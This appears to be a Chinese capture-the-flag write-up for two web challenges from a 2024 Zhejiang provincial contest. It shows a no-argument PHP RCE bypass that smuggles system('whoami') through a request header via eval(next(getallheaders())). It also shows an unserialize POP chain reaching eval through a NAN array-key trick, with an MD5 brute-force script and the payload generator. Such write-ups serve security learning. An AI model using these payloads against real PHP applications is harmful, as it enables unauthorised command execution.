当前位置: 首页 > news >正文

2024浙江省省赛决赛wp

rce

`<?php   echo "get只接受code欧,flag在上一级目录<br>";   $filename = __FILE__;   highlight_file($filename);   if(isset($_GET['code'])){       if (!preg_match('/session_id\(|readfile\(/i', $_GET['code']))           {           if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['code'])) {                   @eval($_GET['code']);               }                 }       else{           die("不让用session欧,readfile也不行");       }   }   ?>`

无参rce过滤了readfile和session_id方法我用的是这个
图片

GET /1.php?code=eval(next(getallheaders())); HTTP/1.1Host: 172.28.13.107Priority: u=0, iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: system('whoami');

比赛的时候不知道是不是apache诶这个方法只能是apache的
用get_define_class也行这个通用

unserialize

<?php# 源码highlight_file(__FILE__);error_reporting(0);class AAA{    public $aear;    public $string;    public function __construct($a){        $this -> aear = $a;    }    function __destruct()    {        echo $this -> aear;    }    public function __toString()    {        $new = $this -> string;        return $new();    }}class BBB {    private $pop;    public function __construct($string) {        $this -> pop = $string;    }    public function __get($value) {        $var = $this -> $value;        $var[$value]();    }}class DDD{    public $bag;    public $magazine;    public function __toString()    {        $length = @$this -> bag -> add();        return $length;    }    public function __set($arg1,$arg2)    {        if($this -> magazine -> tower)        {            echo "really??";        }    }}class EEE{    public $d=array();    public $e;    public $f;    public function __get($arg1){        $this->d[$this->e]=1;        if ($this->d[]=1){            echo 'nononononnnn!!!';        }        else{            eval($this->f);        }    }}class FFF{    protected $cookie;    protected function delete() {        return $this -> cookie;    }    public function __call($func, $args) {        echo 'hahahhhh';        call_user_func([$this, $func."haha"], $args);    }}class GGG{    public $green;    public $book;    public function __invoke(){        if(md5(md5($this -> book)) == 666) {            return $this -> green -> pen;        }    }}if(isset($_POST['UP'])) {    unserialize($_POST['UP']);}

调用链为

AAA::__destruct()->AAA::__toString()->GGG::invoke()->EEE::get()

但是最后一个地方的有一个判断就是

if ($this->d[]=1){            echo 'nononononnnn!!!';        }

要让这个判断为false让d为NAN即可我们做个实验
图片

再写个MD5爆破脚本

import hashlib
def crack(pre):for i in range(0, 999999):a=hashlib.md5(str(i).encode("UTF-8")).hexdigest()if(hashlib.md5(str(a).encode("UTF-8")).hexdigest()[0:3])==str(pre):print(i)
crack("666")

图片

 <?php
# 源码
highlight_file(__FILE__);
error_reporting(0);
class AAA{public $aear;public $string;public function __construct($a){$this -> aear = $a;}}class BBB {private $pop;}class DDD{public $bag;public $magazine;}class EEE{public $d=array();public $e;public $f;}class FFF{protected $cookie;}
class GGG{public $green;public $book;}$eee=new EEE();
$eee->d=NAN;
$eee->e=NAN;
$eee->f="system('whoami');";
$ggg=new GGG();
$ggg->green=$eee;
$ggg->book='213';
$aaaa = new AAA();
$aaaa->string = $ggg;
$aaa = new AAA($aaaa);
echo urlencode(serialize($aaa));![图片](https://img2024.cnblogs.com/blog/3660992/202510/3660992-20251017085509688-2138691162.png)
http://www.hskmm.com/?act=detail&tid=32738

相关文章:

  • 【解决办法】pytorch OSError: [WinError 1114] 动态链接库(DLL)初始化例程失败”
  • 23省赛初赛
  • 2025年苏州保洁服务公司最新权威推荐榜:专业家政与深度清洁口碑优选,覆盖日常保洁、开荒保洁、深度清洁及企业保洁服务
  • 2025 年快速退火炉优质厂家最新推荐榜单:真空 / 半导体 / 晶圆 / 高温 / 桌面 / 半自动 / 全自动 / 芯片 / 硅片 / RTP 设备企业权威评选
  • 2025 年油罐厂家最新推荐榜:sf 双层 / 加油站 / 化工 / 不锈钢 / 地埋 / 卧式 / 立式油罐优质厂商权威盘点,帮您避开选择误区精准选品
  • 2025 年立体画厂家最新推荐榜单:涵盖 3D 光栅立体画、立体光栅卡、3D 装饰立体画、三维立体画,助企业与消费者精准挑选优质品牌
  • 2025 最新高低温试验箱厂家推荐榜:优质厂家推荐,含恒温恒湿设备供应商核心实力解析
  • Luogu P10027 梦境世界 题解 [ 蓝 ] [ 多维 DP ]
  • winserver文件备份到minio
  • 特殊函数
  • 教你把未分配的磁盘合并到C盘或者D盘?如何把未分配的硬盘空间分配到另一个磁盘?Windows 11,如何将未分配的磁盘分配给 C 盘?怎么把未分配的磁盘合并到d盘
  • 项目ai拷打
  • 混合(ZR 二十联测 A + MX 炼石 ABC)
  • Qt项目作品在苹果macos上编译运行效果/视频监控系统/物联网平台等
  • 电脑硬盘中的文件怎么搜索?电脑文件搜索太慢怎么办?
  • 2025年靠谱的风机/离心风机/轴流风机生产企业排行榜-江苏中南鼓风机有限公司
  • 2025年行业内游乐设施/过山车游乐设施权威榜单厂家-河北天鸿游乐设备
  • 机器学习技术助力美国西海岸地震预警系统升级
  • 2025年口碑好的挤浆机/单螺旋挤浆机TOP品牌推荐厂家-滕州市建兴机械有限公司
  • 2025年市场课桌椅/钢塑课桌椅最新TOP排名厂家-江西华聚智能家具集团有限公司
  • 2025年口碑好的垃圾袋/医疗垃圾袋排名推荐生产厂家-厦门市万塑环保材料有限公司
  • 深入理解 PHP-FPM 的最佳配置
  • 【GitHub每日速递 251017】95k star,程序员专属!超全做饭指南,涵盖千道美食做法与进阶秘籍
  • 洛谷 P6715 [CCO 2018] Fun Palace (神秘DP)
  • AT 随机做题 I
  • moni 32
  • git 舍弃当前所有修改
  • 2025.10.17——1蓝
  • C# 使用 using 关键字间接实现只读局部变量的方法
  • 画图3D真好用 - Gon